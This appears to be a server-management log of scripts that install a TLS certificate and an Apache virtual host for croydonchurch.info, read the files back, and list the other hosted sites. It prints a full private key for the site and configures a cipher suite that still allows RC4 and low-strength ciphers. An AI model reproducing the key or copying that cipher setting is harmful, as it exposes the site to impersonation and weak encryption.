46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qnZzkpQ0umUj8ICTDTm5MD
S7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H1zsZNt1WKK5bpDJl8MIG
V8tUNQ+pAgMBAAECggEAAXmB26uDnGLXc3aN1+Gatfq+vYBGY7cZ7XgDCNVQ07vG
64MA+h9ddTOX62q8SgOSO5YUjgrToZfxb5svBNnRkUvQczZTmd5PnlFE1S4zYvz4
Wzh+5yI0FAaRguRy7h9YRa4+TKGNHTHRVjm4V1qBZG+/dDvZlFwnXx257nkK0fWK
mU4wGLs9ZQTZyE5FrveVMfgb7cGxpF5PMzKlMhkDqAC4qRMvl8ksxR1Hq/p0y0/r
3GG2oUS8gDVXTbygJO2DsSd2Pxlx+dfsvfSB+F+aCdYOOPN3tTIJSZAHk3lE1gg2
xTLvaKamjpl2SFysAKKyL9CUvs+Itn98ccoHSxbb0QKBgQDazt5/s6SYK9sLgndN
28r0uJm5ln9ghEhtbM2kqJAqtzryXx7QwNgpBAM4lhotO2rLCXG1R/AZAaascFkC
6RdwZoQSeIse4b/bGHZkQmr+BuPfThSNPkDcpDg5jphCm8eslSZCksKqLQjkT9+T
xSbEHjNaeoEeg5axxiR27GazXwKBgQDOVSgxajsnLa3a7T1JcM+YBwJoIiQ8TIZ9
JyER+FEN0AgTjEQCkVsG1b4rop9j1XzwZ5xdfhWT775lpzSS9KblNtuIy26ebEx+
+xErjYAlkliG1BwgPKKgby3pZFUdtCgKPuPoXvna30qBuWPc6EqTX8ZZxPow1S21
9itZfTlh9wKBgE+RWqflk70idY1B7FCL1MoZNw2eBMP8Vro0DrQJ+CMQbockv/f5
qKGBrAovy2UXbkZXMNpTRqRRTWL3l+bPDI77OJve6fhY74Ok6aib3nxx1PunUSHr
uXqC3U9Q412VeI7xze/3noJzzf/4a704vFglA1erpLiL8YjEHQ6B+PbRAoGBAMmW
jaRp481NZdTFgOFl5IzmHEXdRYXcRnG0byz9bUOPgrSGkFPp7ANrhVdglVWW2XCP
6ke1ziMxUtZCXK1PdlfwFuE50KPbr4lIhugEYbVTnEZuqeQdGc6hkTu8GSTiRVRt
SYJYeMiM7GB93sGP+nyuUD6YotBfFz/2eTf/jrbVAoGADpWTblSZy7AqZDcV5iCQ
kzBXZAC9X3wt3GNbxdaa+anBdQKOsn/A6EfwVtquu0dcHZYHqclAz68+WgYXBaOx
+lO2ZOrQtJwHZxbAVKYgGbsNKiI5EPlvKMPaQ8msnj3z/hnMrB9thZjx+1TvibrA
wZ4b1I6LkaMvDKBPZhQpDhM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-08 06:00:31: 

chmod 755 /tmp/pkp953403; /tmp/pkp953403; rm /tmp/pkp953403

2025-09-08 06:00:31: 


dir=/etc/ssl/certs


2025-09-08 06:00:31: 

PUT: /tmp/pkp906593

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/croydonchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-08 06:00:31: 

chmod 755 /tmp/pkp906593; /tmp/pkp906593; rm /tmp/pkp906593

2025-09-08 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-08 06:00:31: 

PUT: /tmp/pkp100295

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=croydonchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/croydonchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/croydonchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf= 1'
fi


2025-09-08 06:00:31: 

chmod 755 /tmp/pkp100295; /tmp/pkp100295; rm /tmp/pkp100295

2025-09-08 06:00:31: 




2025-09-08 06:00:31: 

PUT: /tmp/pkp246202

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-08 06:00:31: 

chmod 755 /tmp/pkp246202; /tmp/pkp246202; rm /tmp/pkp246202

2025-09-08 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-08 06:00:31: Establishing a connection
2025-09-08 06:00:31: 

PUT: /tmp/pkp115802

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-08 06:00:31: 

chmod 755 /tmp/pkp115802; /tmp/pkp115802; rm /tmp/pkp115802

2025-09-08 06:00:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-08 06:00:31: 

PUT: /tmp/pkp694460

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/croydonchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-08 06:00:31: 

chmod 755 /tmp/pkp694460; /tmp/pkp694460; rm /tmp/pkp694460

2025-09-08 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-08 06:00:32: 

PUT: /tmp/pkp710040

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-08 06:00:32: 

chmod 755 /tmp/pkp710040; /tmp/pkp710040; rm /tmp/pkp710040

2025-09-08 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt	5386
70:b6:7b:c9:40:c6:98:a4:a7:2e:b0:f2:ba:4f:50:3a

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBi5hvyT2dhpBqAw7vwSGrPBOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMjAwWhcNMjUxMjA3MDUwMTU5WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwW0AVMh3Z56HHAnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1
j77y2r40d6g7gbdSBScHw4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd
4RXBh6ine1Gxcsz2KGxmVUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPw
qk8AlQUQkc6BVrfwjVAv46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qn
ZzkpQ0umUj8ICTDTm5MDS7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H
1zsZNt1WKK5bpDJl8MIGV8tUNQ+pAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFMevk5OIdGKTMQK/2+5pbsAUCoxWMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZJ+ljRAAABAMARzBFAiEA0FDDr6LQkDgh3UQAtPjKypis
X9IqLhn/iO9Y5v+SYwACIBUG0xT6DfBqSysAEqcmivm6a6tt/rbtEc5CBra6mDb0
AHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZJ+ljLwAABAMA
RjBEAiBdaWfMMlira4PfPyO8mFuOo01+8IE4m8fQBx+CvUxYtAIgaemfrwQO07X+
SV2CuZVV/Jt4Cjxmu/488gIdQo8TDC4wDQYJKoZIhvcNAQELBQADggEBAAxJKmGc
o0S1LtXo13gPDyedhc01omNnlIp6oMc5T+5FJQhN4rPdepCb9njXny1IvgM48RUw
xIOTvEpckiwxnQQFpG2jrKF3K0DboO8fxKahhm3XYx6XgVTD7PG7pyQ3dejfJ6Od
45s3kHkAeTfMmzVXDCy6eUfPqIrEa5c8yp/6QyOEo28sItxa38nxnznH1p4OSELd
qOjk7PmaACGYaUvOVHPGLjD3t3jl1p33wTQxBgN+tf6ApO//bUC+La4+JykYdWI3
de9XTyrIupnp1j4gLxaAUIdaOKT8JLOf91VKfvTZhqzT8vzNOZtC6LOIsbVAF2pT
L5h/TKhxRauCSAQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwW0AVMh3Z56HH
AnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1j77y2r40d6g7gbdSBScH
w4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd4RXBh6ine1Gxcsz2KGxm
VUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPwqk8AlQUQkc6BVrfwjVAv
46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qnZzkpQ0umUj8ICTDTm5MD
S7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H1zsZNt1WKK5bpDJl8MIG
V8tUNQ+pAgMBAAECggEAAXmB26uDnGLXc3aN1+Gatfq+vYBGY7cZ7XgDCNVQ07vG
64MA+h9ddTOX62q8SgOSO5YUjgrToZfxb5svBNnRkUvQczZTmd5PnlFE1S4zYvz4
Wzh+5yI0FAaRguRy7h9YRa4+TKGNHTHRVjm4V1qBZG+/dDvZlFwnXx257nkK0fWK
mU4wGLs9ZQTZyE5FrveVMfgb7cGxpF5PMzKlMhkDqAC4qRMvl8ksxR1Hq/p0y0/r
3GG2oUS8gDVXTbygJO2DsSd2Pxlx+dfsvfSB+F+aCdYOOPN3tTIJSZAHk3lE1gg2
xTLvaKamjpl2SFysAKKyL9CUvs+Itn98ccoHSxbb0QKBgQDazt5/s6SYK9sLgndN
28r0uJm5ln9ghEhtbM2kqJAqtzryXx7QwNgpBAM4lhotO2rLCXG1R/AZAaascFkC
6RdwZoQSeIse4b/bGHZkQmr+BuPfThSNPkDcpDg5jphCm8eslSZCksKqLQjkT9+T
xSbEHjNaeoEeg5axxiR27GazXwKBgQDOVSgxajsnLa3a7T1JcM+YBwJoIiQ8TIZ9
JyER+FEN0AgTjEQCkVsG1b4rop9j1XzwZ5xdfhWT775lpzSS9KblNtuIy26ebEx+
+xErjYAlkliG1BwgPKKgby3pZFUdtCgKPuPoXvna30qBuWPc6EqTX8ZZxPow1S21
9itZfTlh9wKBgE+RWqflk70idY1B7FCL1MoZNw2eBMP8Vro0DrQJ+CMQbockv/f5
qKGBrAovy2UXbkZXMNpTRqRRTWL3l+bPDI77OJve6fhY74Ok6aib3nxx1PunUSHr
uXqC3U9Q412VeI7xze/3noJzzf/4a704vFglA1erpLiL8YjEHQ6B+PbRAoGBAMmW
jaRp481NZdTFgOFl5IzmHEXdRYXcRnG0byz9bUOPgrSGkFPp7ANrhVdglVWW2XCP
